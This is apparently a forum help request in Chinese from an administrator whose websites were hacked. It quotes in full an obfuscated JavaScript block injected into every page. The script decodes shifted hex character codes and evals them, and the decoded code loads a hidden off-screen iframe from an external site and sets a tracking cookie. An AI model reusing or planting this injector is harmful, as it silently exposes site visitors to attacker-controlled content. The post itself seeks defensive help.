我管理的许多网站已被黑客入侵,并且每个页面中都插入了以下 javascript 代码。我不知道如何解码它或它甚至做了什么,所以我不知道它有多严重。任何人都可以帮忙吗?
<script type="text/javascript" language="javascript">
if(document.querySelector)bqlelz=4;zibka=("36,7c,8b,84,79,8a,7f,85,84,36,8c,46,4f,3e,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,8a,7f,79,53,3d,77,80,77,8e,3d,51,23,20,36,8c,77,88,36,79,85,84,8a,88,85,82,82,7b,88,53,3d,7f,84,7a,7b,8e,44,86,7e,86,3d,51,23,20,36,8c,77,88,36,8c,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,88,7b,77,8a,7b,5b,82,7b,83,7b,84,8a,3e,3d,7f,7c,88,77,83,7b,3d,3f,51,23,20,23,20,36,8c,44,89,88,79,36,53,36,3d,7e,8a,8a,86,50,45,45,8b,86,79,82,7f,7b,84,8a,44,79,85,83,45,44,89,83,7f,82,7b,8f,89,45,7d,70,61,87,5e,7e,6d,49,44,86,7e,86,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,86,85,89,7f,8a,7f,85,84,36,53,36,3d,77,78,89,85,82,8b,8a,7b,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,79,85,82,85,88,36,53,36,3d,4f,4c,4e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,7e,7b,7f,7d,7e,8a,36,53,36,3d,4f,4c,4e,86,8e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,8d,7f,7a,8a,7e,36,53,36,3d,4f,4c,4e,86,8e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,82,7b,7c,8a,36,53,36,3d,47,46,46,46,4f,4c,4e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,8a,85,86,36,53,36,3d,47,46,46,46,4f,4c,4e,3d,51,23,20,23,20,36,7f,7c,36,3e,37,7a,85,79,8b,83,7b,84,8a,44,7d,7b,8a,5b,82,7b,83,7b,84,8a,58,8f,5f,7a,3e,3d,8c,3d,3f,3f,36,91,23,20,36,7a,85,79,8b,83,7b,84,8a,44,8d,88,7f,8a,7b,3e,3d,52,86,36,7f,7a,53,72,3d,8c,72,3d,36,79,82,77,89,89,53,72,3d,8c,46,4f,72,3d,36,54,52,45,86,54,3d,3f,51,23,20,36,7a,85,79,8b,83,7b,84,8a,44,7d,7b,8a,5b,82,7b,83,7b,84,8a,58,8f,5f,7a,3e,3d,8c,3d,3f,44,77,86,86,7b,84,7a,59,7e,7f,82,7a,3e,8c,3f,51,23,20,36,93,23,20,93,23,20,7c,8b,84,79,8a,7f,85,84,36,69,7b,8a,59,85,85,81,7f,7b,3e,79,85,85,81,7f,7b,64,77,83,7b,42,79,85,85,81,7f,7b,6c,77,82,8b,7b,42,84,5a,77,8f,89,42,86,77,8a,7e,3f,36,91,23,20,36,8c,77,88,36,8a,85,7a,77,8f,36,53,36,84,7b,8d,36,5a,77,8a,7b,3e,3f,51,23,20,36,8c,77,88,36,7b,8e,86,7f,88,7b,36,53,36,84,7b,8d,36,5a,77,8a,7b,3e,3f,51,23,20,36,7f,7c,36,3e,84,5a,77,8f,89,53,53,84,8b,82,82,36,92,92,36,84,5a,77,8f,89,53,53,46,3f,36,84,5a,77,8f,89,53,47,51,23,20,36,7b,8e,86,7f,88,7b,44,89,7b,8a,6a,7f,83,7b,3e,8a,85,7a,77,8f,44,7d,7b,8a,6a,7f,83,7b,3e,3f,36,41,36,49,4c,46,46,46,46,46,40,48,4a,40,84,5a,77,8f,89,3f,51,23,20,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,36,53,36,79,85,85,81,7f,7b,64,77,83,7b,41,38,53,38,41,7b,89,79,77,86,7b,3e,79,85,85,81,7f,7b,6c,77,82,8b,7b,3f,23,20,36,41,36,38,51,7b,8e,86,7f,88,7b,89,53,38,36,41,36,7b,8e,86,7f,88,7b,44,8a,85,5d,63,6a,69,8a,88,7f,84,7d,3e,3f,36,41,36,3e,3e,86,77,8a,7e,3f,36,55,36,38,51,36,86,77,8a,7e,53,38,36,41,36,86,77,8a,7e,36,50,36,38,38,3f,51,23,20,93,23,20,7c,8b,84,79,8a,7f,85,84,36,5d,7b,8a,59,85,85,81,7f,7b,3e,36,84,77,83,7b,36,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,88,8a,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,7f,84,7a,7b,8e,65,7c,3e,36,84,77,83,7b,36,41,36,38,53,38,36,3f,51,23,20,36,8c,77,88,36,82,7b,84,36,53,36,89,8a,77,88,8a,36,41,36,84,77,83,7b,44,82,7b,84,7d,8a,7e,36,41,36,47,51,23,20,36,7f,7c,36,3e,36,3e,36,37,89,8a,77,88,8a,36,3f,36,3c,3c,23,20,36,3e,36,84,77,83,7b,36,37,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,89,8b,78,89,8a,88,7f,84,7d,3e,36,46,42,36,84,77,83,7b,44,82,7b,84,7d,8a,7e,36,3f,36,3f,36,3f,23,20,36,91,23,20,36,88,7b,8a,8b,88,84,36,84,8b,82,82,51,23,20,36,93,23,20,36,7f,7c,36,3e,36,89,8a,77,88,8a,36,53,53,36,43,47,36,3f,36,88,7b,8a,8b,88,84,36,84,8b,82,82,51,23,20,36,8c,77,88,36,7b,84,7a,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,7f,84,7a,7b,8e,65,7c,3e,36,38,51,38,42,36,82,7b,84,36,3f,51,23,20,36,7f,7c,36,3e,36,7b,84,7a,36,53,53,36,43,47,36,3f,36,7b,84,7a,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,82,7b,84,7d,8a,7e,51,23,20,36,88,7b,8a,8b,88,84,36,8b,84,7b,89,79,77,86,7b,3e,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,89,8b,78,89,8a,88,7f,84,7d,3e,36,82,7b,84,42,36,7b,84,7a,36,3f,36,3f,51,23,20,93,23,20,7f,7c,36,3e,84,77,8c,7f,7d,77,8a,85,88,44,79,85,85,81,7f,7b,5b,84,77,78,82,7b,7a,3f,23,20,91,23,20,7f,7c,3e,5d,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,3f,53,53,4b,4b,3f,91,93,7b,82,89,7b,91,69,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,42,36,3d,4b,4b,3d,42,36,3d,47,3d,42,36,3d,45,3d,3f,51,23,20,23,20,8c,46,4f,3e,3f,51,23,20,93,23,20,93".split(","));twuss=eval;function oqvw(){iuwo=function(){--(uiopm.body)}()}uiopm=document;for(wxuxe=0;wxuxe<zibka["length"];wxuxe+=1){zibka[wxuxe]=-(22)+parseInt(zibka[wxuxe],bqlelz*4);}try{oqvw()}catch(ggpl){hywzjw=50-50;}if(!hywzjw)twuss(String["fr"+"omCh"+"arCo"+"de"].apply(String,zibka));
</script>
我假设这些是字符引用,它实际上指向某个包含恶意内容的站点,但我不知道如何解决。我正在经历并删除所有这些并更改所有密码以防止进一步的安全问题,但对此的任何建议将不胜感激!
谢谢。